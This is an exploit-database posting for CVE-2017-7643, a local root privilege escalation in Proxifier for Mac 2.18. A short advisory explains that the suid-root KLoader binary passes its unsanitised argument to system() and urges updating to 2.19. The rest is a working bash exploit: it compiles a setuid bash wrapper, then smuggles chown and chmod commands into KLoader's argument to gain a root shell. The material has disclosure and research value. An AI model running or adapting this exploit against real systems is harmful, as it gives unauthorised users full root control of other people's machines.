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# Proxifier 2.18 Privilege Escalation And Code Execution Vulnerability

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Proxifier 2.18 (also 2.17 and possibly some earlier version) ships with 
a KLoader binary which it installs suid root the first time Proxifier is 
run. This binary serves a single purpose which is to load and unload 
Proxifier's kernel extension.

Unfortunately it does this by taking the first parameter passed to it on 
the commandline without any sanitisation and feeding it straight into 
system().

This means not only can you load any arbitrary kext as a non-root user 
but you can also get a local root shell.

Although this is a bit of a terrible bug that shouldn't be happening in 
2017, Proxifier's developers fixed the issue in record time so that's 
something!

Everyone using Proxifier for Mac should update to 2.19 as soon as 
possible.

https://m4.rkw.io/blog/cve20177643-local-root-privesc-in-proxifier-for-mac--218.html

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#!/bin/bash

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# Local root exploit for vulnerable KLoader binary distributed with #
# Proxifier for Mac v2.18                                           #
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# by m4rkw                                                          #
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cat > a.c <<EOF
#include <stdio.h>
#include <unistd.h>

int main()
{
   setuid(0);
   seteuid(0);

   execl("/bin/bash", "bash", NULL);
   return 0;
}
EOF

gcc -o /tmp/a a.c
rm -f a.c
/Applications/Proxifier.app/Contents/KLoader 'blah; chown root:wheel 
/tmp/a ; chmod 4755 /tmp/a'
/tmp/a
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# Iranian Exploit DataBase = http://IeDb.Ir [2017-04-14]

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